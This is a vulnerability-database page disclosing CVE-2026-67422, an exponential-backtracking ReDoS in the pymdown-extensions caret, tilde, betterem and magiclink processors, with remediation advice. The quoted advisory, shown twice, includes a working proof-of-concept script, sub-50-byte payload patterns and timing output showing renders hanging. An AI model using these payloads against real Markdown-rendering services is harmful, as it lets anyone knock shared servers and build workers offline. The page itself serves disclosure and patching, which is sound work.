Vulnerabilities in pkg:pypi/pymdown-extensions

PACKAGE
Advisory Identifier: GHSA-gm37-52c6-37mw
Advisory Summary

CVE-2026-67422 is a HIGH (CVSS 7.5) denial of service vulnerability (CWE-1333: Inefficient Regular Expression Complexity) affecting pymdown-extensions libraries in the PyPI ecosystem. The issue involves exponential-backtracking redos in caret, tilde, betterem, and magiclink inline processors. Remediation is available by upgrading affected packages to version 11.0.1.

5 Known Advisory Record(s)
Package Vulnerability Intelligence

pkg:pypi/pymdown-extensions

5 Known Advisory Record(s)

Vulnerability advisories affecting package pkg:pypi/pymdown-extensions. Select an advisory below to view technical details or fixes.

Advisory ID CVE / NVD Severity Summary
GHSA-gm37-52c6-37mw CVE-2026-67422 HIGH pymdown-extensions: exponential-backtracking ReDoS in caret, tilde, betterem, and magiclink inline processors
GHSA-9xwg-3r6f-jcx2 CVE-2026-61632 MODERATE PyMdown Extensions: Path traversal in the b64 extension lets <img src> read files outside base_path
GHSA-62q4-447f-wv8h CVE-2026-46338 MODERATE Regression in pymdownx.snippets reintroduces sibling-prefix path traversal bypass despite restrict_base_path
GHSA-r6h4-mm7h-8pmq CVE-2025-68142 LOW PyMdown Extensions has a ReDOS bug in its Figure Capture extension
GHSA-jh85-wwv9-24hv CVE-2023-32309 HIGH Any file can be included with the pymdown-snippets extension

CVE-2026-67422 at a Glance

CVE Identifier CVE-2026-67422
GHSA Identifier GHSA-gm37-52c6-37mw
Severity HIGH
CVSS v3.1 Base Score 7.5
CWE Classification CWE-1333: Inefficient Regular Expression Complexity
Affected Product pymdown-extensions
Package Ecosystem PyPI
Published Date
Last Updated

Security Impact

CVSS: 7.5

The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H).

Attack Vector Network (AV:N)
Attack Complexity Low (AC:L)
Privileges Required None (PR:N)
User Interaction None (UI:N)
Scope Unchanged (S:U)
Confidentiality None (C:N)
Integrity None (I:N)
Availability High (A:H)

How to Fix CVE-2026-67422

To remediate this vulnerability, upgrade all affected pymdown-extensions dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.

pymdown-extensions fixed: 11.0.1
pip install pymdown-extensions>=11.0.1
Verify Direct and Transitive Dependencies

Run the following command in your project directory to verify that all resolved dependencies use the patched release:

pip show pymdown-extensions

How to Check if You Are Affected

To determine whether your Python environment is affected by CVE-2026-67422, inspect your installed packages using pip:

pip show pymdown-extensions

Analyze the terminal output to locate any version of pymdown-extensions in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 11.0.1), your application is affected.

Note: The pip show pymdown-extensions command checks currently installed packages in your active Python environment.

Technical Details

Vulnerability Mechanism & Technical Analysis

This vulnerability is classified under CWE-1333: Inefficient Regular Expression Complexity, where the product uses a regular expression with a worst-case computational complexity that is inefficient and possibly exponential. In pymdown-extensions, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.

Source Advisory Statement

### Summary Four inline processors in pymdown-extensions contain regular expressions with exponential backtracking. A single untrusted Markdown line under 50 bytes drives `markdown.markdown()` into unbounded CPU on the rendering thread (seconds at ~45 bytes, growing exponentially with each added character). All four fire in the extension's **default configuration** and are reachable through the documented public API. The `caret`/`tilde`/ `betterem` blow-up was introduced by the emphasis-pattern rewrite in PR #2547 (first released in **10.13**, Dec 2024) — earlier releases used a linear `(.+?)` / `([^\s]+?)` content group — and is present through **11.0** (latest); `magiclink`'s host pattern is long-standing and affects effectively all releases. Likely **CWE-1333 (Inefficient Regular Expression Complexity)**. This is a distinct issue from CVE-2025-68142 (ReDoS in `pymdownx.blocks.caption`, `RE_FIG_NUM`, fixed in 10.16.1): different extensions, different regexes, and a different root cause (delimiter-run partition ambiguity rather than a `.`/`\.` typo). ### Details Four regexes share, or closely mirror, a vulnerable shape — an inner group that can partition a run of the delimiter character into `{2,}`-sized pieces in exponentially many ways, wrapped in a lazy `+?` that must fail before the engine can give up: | Extension | Regex | Location (`11.0`) | |---|---|---| | `pymdownx.caret` (superscript `^…^`) | `SUP2` | `pymdownx/caret.py:56` | | `pymdownx.tilde` (subscript `~…~`) | `SUB2` | `pymdownx/tilde.py:55` | | `pymdownx.betterem` (underscore `_…_`) | `SMART_UNDER_EM2` (default) | `pymdownx/betterem.py:93` | | `pymdownx.magiclink` (bare-URL autolink) | `RE_LINK` | `pymdownx/magiclink.py:56` (host at `:59`) | `pymdownx/caret.py:56` (`pymdown-extensions 11.0`): ```python SUP2 = r'(?<!\^)(\^)(?![\^\s])((?:[^\^\s]|\^{2,})+?)(?<![\^\s])(\^)(?!\^)' ``` The content group `(?:[^\^\s]|\^{2,})+?` matches a run of carets only via the `\^{2,}` branch. A run of *k* carets can be split into ≥2-length pieces in exponentially many combinations; when no caret can serve as a valid closing delimiter (the trailing `(?<![\^\s])(\^)` cannot be satisfied), the engine explores every partition before failing. `SUB2` (tilde) and `SMART_UNDER_EM2` (betterem) are the same construct for `~` and `_`. In `betterem` the default `smart_enable='underscore'` routes underscores to `SmartUnderscoreProcessor` → `SMART_UNDER_EM2` (`betterem.py:93`), which is the default-reachable, API-exploitable pattern; the non-smart `UNDER_EM2` (`:69`, used only when `smart_enable` is `asterisk`/`disable`) shares the shape but did not reproduce through the public `markdown.markdown()` pipeline on the tested payload, so a fix and regression test should target `SMART_UNDER_EM2`. `pymdownx/magiclink.py:59` has the analogous ambiguity in the host portion, where overlapping character classes let a run of dots be grouped exponentially: ```python (?:ht|f)tps?://[^_\W][-\w]*(?:\.[-\w.]+)* # host: '\.' and '[-\w.]' inside (?:...)* both match '.' ``` `SUP2`/`SUB2`/`SMART_UNDER_EM2` are applied at each delimiter occurrence via the default `PatternSequenceProcessor` subclasses (`pymdownx/util.py`); `RE_LINK` is applied by `MagiclinkPattern` (registered unconditionally at priority 85). In all four cases, rendering `markdown.markdown(src, extensions=[ext])` on untrusted `src` in default configuration is sufficient to reach the regex. ### PoC Single self-contained script; runs against the pinned release in an ephemeral env. Non-destructive — the input is ordinary Markdown text; the impact is CPU/time (a per-render alarm caps each attempt so the script terminates). ```python import signal import time from importlib.metadata import version import markdown print(f"# pymdown-extensions {version('pymdown-extensions')} / markdown {version('markdown')}") CAP = 5.0 # a single render exceeding this is treated as a hang class Timeout(Exception): pass def render(ext, text): signal.signal(signal.SIGALRM, lambda *_: (_ for _ in ()).throw(Timeout())) signal.setitimer(signal.ITIMER_REAL, CAP) t = time.perf_counter() try: markdown.markdown(text, extensions=[ext]) return time.perf_counter() - t except Timeout: return None finally: signal.setitimer(signal.ITIMER_REAL, 0) # ext -> (malicious builder, benign builder [valid & closed], ramp, hang count) CASES = { "pymdownx.caret": (lambda n: "^a" + "^" * n + "b", lambda n: "^" + "a" * n + "^", [24, 30, 36], 44), "pymdownx.tilde": (lambda n: "~a" + "~" * n + "b", lambda n: "~" + "a" * n + "~", [24, 30, 36], 44), "pymdownx.betterem": (lambda n: "_a" + "_" * n + "b", lambda n: "_" + "a" * n + "_", [24, 30, 36], 44), "pymdownx.magiclink": (lambda n: "http://a" + "." * n + " ", lambda n: "http://" + "a" * n + ".com ", [28, 32, 36], 40), } repro = [] for ext, (evil, benign, ramp, hang) in CASES.items(): base_txt = benign(hang) # valid, closed run: same regex machinery, but linear base = render(ext, base_txt) print(f"\n[{ext}] benign baseline (len {len(base_txt)}, valid+closed): {base * 1e3:.3f} ms") prev = None for n in ramp: txt = evil(n) dt = render(ext, txt) ratio = f" (x{dt / prev:.1f})" if (prev and dt) else "" shown = f"{dt:8.3f} s" if dt is not None else f"> {CAP:.0f} s (HANG)" print(f" malicious len {len(txt):3d}: {shown}{ratio}") prev = dt txt = evil(hang) dt = render(ext, txt) hung = dt is None print(f" malicious len {len(txt):3d}: " f"{'> %.0f s (HANG)' % CAP if hung else '%.3f s' % dt}") ok = base < 0.05 and (hung or dt > 1.0) repro.append(ok) print(f" => {'REPRODUCED' if ok else 'not reproduced'}: a {len(txt)}-byte " f"malicious line stalls the renderer; a valid {len(base_txt)}-byte line is instant.") assert all(repro), "not reproduced" print("\nVERDICT: exponential ReDoS reproduced in all four extensions via the " "public markdown.markdown() API, default config (each < 50-byte input).") ``` Run: ```bash uv run --with pymdown-extensions==11.0 --with markdown==3.10.2 python poc.py ``` The bug is in pymdown-extensions' own regexes run by the stdlib `re` engine, so it is independent of the Markdown library version (`markdown` pinned only for byte-exact output). Observed output: ``` # pymdown-extensions 11.0 / markdown 3.10.2 [pymdownx.caret] benign baseline (len 46, valid+closed): 11.768 ms malicious len 27: 0.003 s malicious len 33: 0.054 s (x16.6) malicious len 39: 0.946 s (x17.6) malicious len 47: > 5 s (HANG) => REPRODUCED: a 47-byte malicious line stalls the renderer; a valid 46-byte line is instant. [pymdownx.tilde] benign baseline (len 46, valid+closed): 5.364 ms malicious len 27: 0.003 s malicious len 33: 0.053 s (x17.1) malicious len 39: 0.962 s (x18.2) malicious len 47: > 5 s (HANG) => REPRODUCED: a 47-byte malicious line stalls the renderer; a valid 46-byte line is instant. [pymdownx.betterem] benign baseline (len 46, valid+closed): 3.167 ms malicious len 27: 0.003 s malicious len 33: 0.052 s (x17.1) malicious len 39: 0.948 s (x18.1) malicious len 47: > 5 s (HANG) => REPRODUCED: a 47-byte malicious line stalls the renderer; a valid 46-byte line is instant. [pymdownx.magiclink] benign baseline (len 52, valid+closed): 4.935 ms malicious len 37: 0.033 s malicious len 41: 0.210 s (x6.4) malicious len 45: 1.405 s (x6.7) malicious len 49: > 5 s (HANG) => REPRODUCED: a 49-byte malicious line stalls the renderer; a valid 52-byte line is instant. VERDICT: exponential ReDoS reproduced in all four extensions via the public markdown.markdown() API, default config (each < 50-byte input). ``` The per-step ratio stays roughly constant as the run grows (a fixed multiplicative factor per fixed-size increment) — the signature of exponential, not polynomial, backtracking. A valid, closed delimiter run of the same length exercises the same regex yet renders in well under a millisecond, isolating the cost to the *unclosed* crafted run. Extending it a few more characters pushes the render time into minutes and beyond. ### Impact Denial of service: a sub-50-byte line pins the rendering thread at 100% CPU, with no memory pressure to trip an OOM killer. Most Material/MkDocs usage renders trusted author content at build time, but the untrusted-input exposure is concrete in two settings: - General Python web apps that render user-supplied Markdown (comments, wikis, issue/ticket bodies, chat, live preview) — notably any app using `pymdownx.extra`, which bundles `betterem` with the vulnerable default `smart_enable='underscore'`, or that reuses a Material-style extension block in a runtime renderer. - Hosted docs/CI systems that build untrusted, user-contributed Markdown, where a single crafted line hangs the shared build worker. - Attacker: unauthenticated, remote (anyone who can submit Markdown). - Configuration: **default** for each extension. - Proposed **CWE-1333**. Proposed CVSS 3.1 (as proposed — the maintainer makes the final call): `AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H` (7.5, High). ### Suggestion The vulnerable content groups need to be rewritten so a delimiter run has exactly one parse, removing the `{2,}` partition ambiguity that lets the engine re-segment a run on backtracking. For the emphasis patterns, restructuring the content so a delimiter run is consumed in a single, non-re-partitionable way (rather than by a `{2,}` branch inside a `+?` group) removes the blow-up; for `RE_LINK`, disambiguate the host so `.` is matched in exactly one place (a single labelled-host pattern such as `(?:[-\w]+)(?:\.[-\w]+)*`) rather than by overlapping classes. Possessive quantifiers / atomic groups are the most direct tool but require Python 3.11+; since the project supports Python 3.10, a structural rewrite is the portable option. A regression fixture per extension (a short delimiter run with no valid closer, asserted to render under a small time budget) would guard against reintroduction. ### References - Affected source (`pymdown-extensions 11.0`): `pymdownx/caret.py:56` (`SUP2`), `pymdownx/tilde.py:55` (`SUB2`), `pymdownx/betterem.py:93` (`SMART_UNDER_EM2`, default; `:69` `UNDER_EM2` shares the shape), `pymdownx/magiclink.py:56` (`RE_LINK`, host subexpression at `:59`). - Novelty: same class as CVE-2025-68142 (`pymdownx.blocks.caption` `RE_FIG_NUM`, fixed 10.16.1) but distinct extensions, regexes, and root cause. The `caret`/`tilde`/`betterem` content groups gained the vulnerable `{2,}` alternation in PR #2547 (v10.13); earlier releases used a linear `(.+?)` / `([^\s]+?)` group. `magiclink`'s host pattern is long-standing. None of the four has been touched by a prior security fix; all are present in the latest release (11.0).

CVE-2026-67422 Affected pymdown-extensions Versions

1 component(s)
Fixed Versions:
11.0.1
Product / Package Ecosystem Affected Versions Fixed Version
pymdown-extensions
PyPI
< 11.0.1
11.0.1

References

Frequently Asked Questions

What is CVE-2026-67422?
CVE-2026-67422 is a security vulnerability in pymdown-extensions involving exponential-backtracking ReDoS in caret, tilde, betterem, and magiclink inline processors under CWE-1333: Inefficient Regular Expression Complexity.
Which pymdown-extensions versions are affected?
Affected versions include releases prior to 11.0.1 across affected packages: pymdown-extensions.
What version fixes CVE-2026-67422?
Upgrading to 11.0.1 (or the latest patched release for your respective branch) resolves the vulnerability.
Is pymdown-extensions affected?
Yes, pymdown-extensions is affected in releases prior to 11.0.1. Upgrade your dependency to 11.0.1 or later.
What is the CVSS score of CVE-2026-67422?
CVE-2026-67422 has a CVSS v3.1 base score of 7.5 (HIGH) with vector string CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H.
What CWE is associated with CVE-2026-67422?
CVE-2026-67422 is classified under CWE-1333: Inefficient Regular Expression Complexity (The product uses a regular expression with a worst-case computational complexity that is inefficient and possibly exponential.).
How can I check PyPI dependencies for CVE-2026-67422?
Run the dependency tree command: 'pip show pymdown-extensions'. This command lists direct and transitive dependencies in your build configuration so you can verify if a vulnerable version is resolved.
Machine-readable OSV JSON OSV v1.5 Schema
Normalized schema output
{
  "schema_version" : "1.4.0",
  "id" : "GHSA-gm37-52c6-37mw",
  "modified" : "2026-08-07T18:26:07Z",
  "published" : "2026-08-07T18:26:07Z",
  "aliases" : [ "CVE-2026-67422" ],
  "summary" : "pymdown-extensions: exponential-backtracking ReDoS in caret, tilde, betterem, and magiclink inline processors",
  "details" : "### Summary\n\nFour inline processors in pymdown-extensions contain regular expressions with\nexponential backtracking. A single untrusted Markdown line under\n50 bytes drives `markdown.markdown()` into unbounded CPU on the rendering thread\n(seconds at ~45 bytes, growing exponentially with each added character). All four\nfire in the extension's **default configuration**\nand are reachable through the documented public API. The `caret`/`tilde`/\n`betterem` blow-up was introduced by the emphasis-pattern rewrite in PR #2547\n(first released in **10.13**, Dec 2024) — earlier releases used a linear\n`(.+?)` / `([^\\s]+?)` content group — and is present through **11.0** (latest);\n`magiclink`'s host pattern is long-standing and affects effectively all releases.\nLikely **CWE-1333 (Inefficient Regular Expression Complexity)**.\n\nThis is a distinct issue from CVE-2025-68142 (ReDoS in `pymdownx.blocks.caption`,\n`RE_FIG_NUM`, fixed in 10.16.1): different extensions, different regexes, and a\ndifferent root cause (delimiter-run partition ambiguity rather than a `.`/`\\.`\ntypo).\n\n### Details\n\nFour regexes share, or closely mirror, a vulnerable shape — an inner group that\ncan partition a run of the delimiter character into `{2,}`-sized pieces in\nexponentially many ways, wrapped in a lazy `+?` that must fail before the engine\ncan give up:\n\n| Extension | Regex | Location (`11.0`) |\n|---|---|---|\n| `pymdownx.caret` (superscript `^…^`) | `SUP2` | `pymdownx/caret.py:56` |\n| `pymdownx.tilde` (subscript `~…~`) | `SUB2` | `pymdownx/tilde.py:55` |\n| `pymdownx.betterem` (underscore `_…_`) | `SMART_UNDER_EM2` (default) | `pymdownx/betterem.py:93` |\n| `pymdownx.magiclink` (bare-URL autolink) | `RE_LINK` | `pymdownx/magiclink.py:56` (host at `:59`) |\n\n`pymdownx/caret.py:56` (`pymdown-extensions 11.0`):\n\n```python\nSUP2 = r'(?<!\\^)(\\^)(?![\\^\\s])((?:[^\\^\\s]|\\^{2,})+?)(?<![\\^\\s])(\\^)(?!\\^)'\n```\n\nThe content group `(?:[^\\^\\s]|\\^{2,})+?` matches a run of carets only via the\n`\\^{2,}` branch. A run of *k* carets can be split into ≥2-length pieces in\nexponentially many combinations; when no caret can serve as a valid closing\ndelimiter (the trailing `(?<![\\^\\s])(\\^)` cannot be satisfied), the engine\nexplores every partition before failing. `SUB2` (tilde) and `SMART_UNDER_EM2`\n(betterem) are the same construct for `~` and `_`. In `betterem` the default\n`smart_enable='underscore'` routes underscores to `SmartUnderscoreProcessor` →\n`SMART_UNDER_EM2` (`betterem.py:93`), which is the default-reachable,\nAPI-exploitable pattern; the non-smart `UNDER_EM2` (`:69`, used only when\n`smart_enable` is `asterisk`/`disable`) shares the shape but did not reproduce\nthrough the public `markdown.markdown()` pipeline on the tested payload, so a fix\nand regression test should target `SMART_UNDER_EM2`.\n\n`pymdownx/magiclink.py:59` has the analogous ambiguity in the host portion, where\noverlapping character classes let a run of dots be grouped exponentially:\n\n```python\n(?:ht|f)tps?://[^_\\W][-\\w]*(?:\\.[-\\w.]+)*    # host: '\\.' and '[-\\w.]' inside (?:...)* both match '.'\n```\n\n`SUP2`/`SUB2`/`SMART_UNDER_EM2` are applied at each delimiter occurrence via the\ndefault `PatternSequenceProcessor` subclasses (`pymdownx/util.py`); `RE_LINK` is\napplied by `MagiclinkPattern` (registered unconditionally at priority 85). In all\nfour cases, rendering `markdown.markdown(src, extensions=[ext])` on untrusted\n`src` in default configuration is sufficient to reach the regex.\n\n### PoC\n\nSingle self-contained script; runs against the pinned release in an ephemeral\nenv. Non-destructive — the input is ordinary Markdown text; the impact is CPU/time\n(a per-render alarm caps each attempt so the script terminates).\n\n```python\nimport signal\nimport time\nfrom importlib.metadata import version\n\nimport markdown\n\nprint(f\"# pymdown-extensions {version('pymdown-extensions')} / markdown {version('markdown')}\")\n\nCAP = 5.0  # a single render exceeding this is treated as a hang\n\n\nclass Timeout(Exception):\n    pass\n\n\ndef render(ext, text):\n    signal.signal(signal.SIGALRM, lambda *_: (_ for _ in ()).throw(Timeout()))\n    signal.setitimer(signal.ITIMER_REAL, CAP)\n    t = time.perf_counter()\n    try:\n        markdown.markdown(text, extensions=[ext])\n        return time.perf_counter() - t\n    except Timeout:\n        return None\n    finally:\n        signal.setitimer(signal.ITIMER_REAL, 0)\n\n\n# ext -> (malicious builder, benign builder [valid & closed], ramp, hang count)\nCASES = {\n    \"pymdownx.caret\":     (lambda n: \"^a\" + \"^\" * n + \"b\",       lambda n: \"^\" + \"a\" * n + \"^\",           [24, 30, 36], 44),\n    \"pymdownx.tilde\":     (lambda n: \"~a\" + \"~\" * n + \"b\",       lambda n: \"~\" + \"a\" * n + \"~\",           [24, 30, 36], 44),\n    \"pymdownx.betterem\":  (lambda n: \"_a\" + \"_\" * n + \"b\",       lambda n: \"_\" + \"a\" * n + \"_\",           [24, 30, 36], 44),\n    \"pymdownx.magiclink\": (lambda n: \"http://a\" + \".\" * n + \" \", lambda n: \"http://\" + \"a\" * n + \".com \", [28, 32, 36], 40),\n}\n\nrepro = []\nfor ext, (evil, benign, ramp, hang) in CASES.items():\n    base_txt = benign(hang)  # valid, closed run: same regex machinery, but linear\n    base = render(ext, base_txt)\n    print(f\"\\n[{ext}]  benign baseline (len {len(base_txt)}, valid+closed): {base * 1e3:.3f} ms\")\n    prev = None\n    for n in ramp:\n        txt = evil(n)\n        dt = render(ext, txt)\n        ratio = f\"  (x{dt / prev:.1f})\" if (prev and dt) else \"\"\n        shown = f\"{dt:8.3f} s\" if dt is not None else f\"> {CAP:.0f} s (HANG)\"\n        print(f\"          malicious len {len(txt):3d}: {shown}{ratio}\")\n        prev = dt\n    txt = evil(hang)\n    dt = render(ext, txt)\n    hung = dt is None\n    print(f\"          malicious len {len(txt):3d}: \"\n          f\"{'> %.0f s (HANG)' % CAP if hung else '%.3f s' % dt}\")\n    ok = base < 0.05 and (hung or dt > 1.0)\n    repro.append(ok)\n    print(f\"          => {'REPRODUCED' if ok else 'not reproduced'}: a {len(txt)}-byte \"\n          f\"malicious line stalls the renderer; a valid {len(base_txt)}-byte line is instant.\")\n\nassert all(repro), \"not reproduced\"\nprint(\"\\nVERDICT: exponential ReDoS reproduced in all four extensions via the \"\n      \"public markdown.markdown() API, default config (each < 50-byte input).\")\n```\n\nRun:\n\n```bash\nuv run --with pymdown-extensions==11.0 --with markdown==3.10.2 python poc.py\n```\n\nThe bug is in pymdown-extensions' own regexes run by the stdlib `re` engine, so it\nis independent of the Markdown library version (`markdown` pinned only for\nbyte-exact output). Observed output:\n\n```\n# pymdown-extensions 11.0 / markdown 3.10.2\n\n[pymdownx.caret]  benign baseline (len 46, valid+closed): 11.768 ms\n          malicious len  27:    0.003 s\n          malicious len  33:    0.054 s  (x16.6)\n          malicious len  39:    0.946 s  (x17.6)\n          malicious len  47: > 5 s (HANG)\n          => REPRODUCED: a 47-byte malicious line stalls the renderer; a valid 46-byte line is instant.\n\n[pymdownx.tilde]  benign baseline (len 46, valid+closed): 5.364 ms\n          malicious len  27:    0.003 s\n          malicious len  33:    0.053 s  (x17.1)\n          malicious len  39:    0.962 s  (x18.2)\n          malicious len  47: > 5 s (HANG)\n          => REPRODUCED: a 47-byte malicious line stalls the renderer; a valid 46-byte line is instant.\n\n[pymdownx.betterem]  benign baseline (len 46, valid+closed): 3.167 ms\n          malicious len  27:    0.003 s\n          malicious len  33:    0.052 s  (x17.1)\n          malicious len  39:    0.948 s  (x18.1)\n          malicious len  47: > 5 s (HANG)\n          => REPRODUCED: a 47-byte malicious line stalls the renderer; a valid 46-byte line is instant.\n\n[pymdownx.magiclink]  benign baseline (len 52, valid+closed): 4.935 ms\n          malicious len  37:    0.033 s\n          malicious len  41:    0.210 s  (x6.4)\n          malicious len  45:    1.405 s  (x6.7)\n          malicious len  49: > 5 s (HANG)\n          => REPRODUCED: a 49-byte malicious line stalls the renderer; a valid 52-byte line is instant.\n\nVERDICT: exponential ReDoS reproduced in all four extensions via the public markdown.markdown() API, default config (each < 50-byte input).\n```\n\nThe per-step ratio stays roughly constant as the run grows (a fixed multiplicative\nfactor per fixed-size increment) — the signature of exponential, not polynomial,\nbacktracking. A valid, closed delimiter run of the same length exercises the same\nregex yet renders in well under a millisecond, isolating the cost to the *unclosed*\ncrafted run. Extending it a few more characters pushes the render time into minutes\nand beyond.\n\n### Impact\n\nDenial of service: a sub-50-byte line pins the rendering thread at 100% CPU, with\nno memory pressure to trip an OOM killer. Most Material/MkDocs usage renders\ntrusted author content at build time, but the untrusted-input exposure is concrete\nin two settings:\n\n- General Python web apps that render user-supplied Markdown (comments, wikis,\n  issue/ticket bodies, chat, live preview) — notably any app using\n  `pymdownx.extra`, which bundles `betterem` with the vulnerable default\n  `smart_enable='underscore'`, or that reuses a Material-style extension block in\n  a runtime renderer.\n- Hosted docs/CI systems that build untrusted, user-contributed Markdown, where a\n  single crafted line hangs the shared build worker.\n\n- Attacker: unauthenticated, remote (anyone who can submit Markdown).\n- Configuration: **default** for each extension.\n- Proposed **CWE-1333**. Proposed CVSS 3.1 (as proposed — the maintainer makes\n  the final call): `AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H` (7.5, High).\n\n### Suggestion\n\nThe vulnerable content groups need to be rewritten so a delimiter run has exactly\none parse, removing the `{2,}` partition ambiguity that lets the engine\nre-segment a run on backtracking. For the emphasis patterns, restructuring the\ncontent so a delimiter run is consumed in a single, non-re-partitionable way\n(rather than by a `{2,}` branch inside a `+?` group) removes the blow-up; for\n`RE_LINK`, disambiguate the host so `.` is matched in exactly one place (a single\nlabelled-host pattern such as `(?:[-\\w]+)(?:\\.[-\\w]+)*`) rather than by\noverlapping classes. Possessive quantifiers / atomic groups are the most direct\ntool but require Python 3.11+; since the project supports Python 3.10, a\nstructural rewrite is the portable option.\n\nA regression fixture per extension (a short delimiter run with no valid closer,\nasserted to render under a small time budget) would guard against reintroduction.\n\n### References\n\n- Affected source (`pymdown-extensions 11.0`): `pymdownx/caret.py:56` (`SUP2`),\n  `pymdownx/tilde.py:55` (`SUB2`), `pymdownx/betterem.py:93` (`SMART_UNDER_EM2`,\n  default; `:69` `UNDER_EM2` shares the shape), `pymdownx/magiclink.py:56`\n  (`RE_LINK`, host subexpression at `:59`).\n- Novelty: same class as CVE-2025-68142 (`pymdownx.blocks.caption` `RE_FIG_NUM`,\n  fixed 10.16.1) but distinct extensions, regexes, and root cause. The\n  `caret`/`tilde`/`betterem` content groups gained the vulnerable `{2,}`\n  alternation in PR #2547 (v10.13); earlier releases used a linear\n  `(.+?)` / `([^\\s]+?)` group. `magiclink`'s host pattern is long-standing. None\n  of the four has been touched by a prior security fix; all are present in the\n  latest release (11.0).",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "PyPI",
      "name" : "pymdown-extensions"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "fixed" : "11.0.1"
      } ]
    } ],
    "database_specific" : {
      "last_known_affected_version_range" : "<= 11.0.0"
    }
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/facelessuser/pymdown-extensions/security/advisories/GHSA-gm37-52c6-37mw"
  }, {
    "type" : "ADVISORY",
    "url" : "https://nvd.nist.gov/vuln/detail/CVE-2026-67422"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/facelessuser/pymdown-extensions/commit/c68498598d7b13011bb4571350b6e3612a4ce44b"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/facelessuser/pymdown-extensions"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-1333" ],
    "severity" : "HIGH",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-08-07T18:26:07Z",
    "nvd_published_at" : "2026-08-06T22:18:21Z"
  }
}